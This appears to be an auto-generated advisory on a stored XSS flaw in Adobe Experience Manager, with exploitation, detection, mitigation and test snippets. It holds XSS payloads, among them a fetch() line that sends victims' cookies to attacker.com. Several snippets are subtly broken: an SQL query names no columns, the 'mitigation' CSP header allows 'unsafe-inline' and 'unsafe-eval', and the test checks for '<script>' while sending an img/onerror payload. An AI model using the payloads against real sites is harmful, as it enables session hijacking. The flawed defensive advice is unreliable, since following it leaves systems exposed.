How CVE-2025-46858 Works
Adobe Experience Manager (AEM) versions 6.5.22 and earlier fail to properly sanitize user-supplied input in web form fields. A low-privileged attacker can submit malicious JavaScript payloads through vulnerable input fields, which are then stored in the database. When other users access the affected page, the script executes in their browser, leading to session hijacking, data theft, or unauthorized actions within the victim’s AEM context. The attack persists until the malicious entry is removed.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Submit via vulnerable form fields (e.g., comments, user profiles).
2. Exfiltration:
<script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>
Detection:
1. Scan for Unsanitized Inputs:
grep -r "getParameter(" /path/to/aem/components
2. Check Stored Entries:
SELECT FROM crx_repository WHERE text LIKE '%<script>%';
Mitigation:
1. Input Sanitization:
import org.apache.commons.text.StringEscapeUtils; String sanitized = StringEscapeUtils.escapeHtml4(userInput);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Patch Upgrade:
aemctl --update --version 6.5.23
Post-Exploit Analysis:
1. Log Review:
cat /var/log/aem/error.log | grep -i "xss"
2. Session Revocation:
aemctl --revoke-sessions --user=
Automated Testing:
import requests
payload = "<img src=x onerror=alert(1)>"
response = requests.post("https://target/aem/form", data={"field": payload})
assert "<script>" not in response.text
Follow strict input validation and upgrade to patched versions immediately.
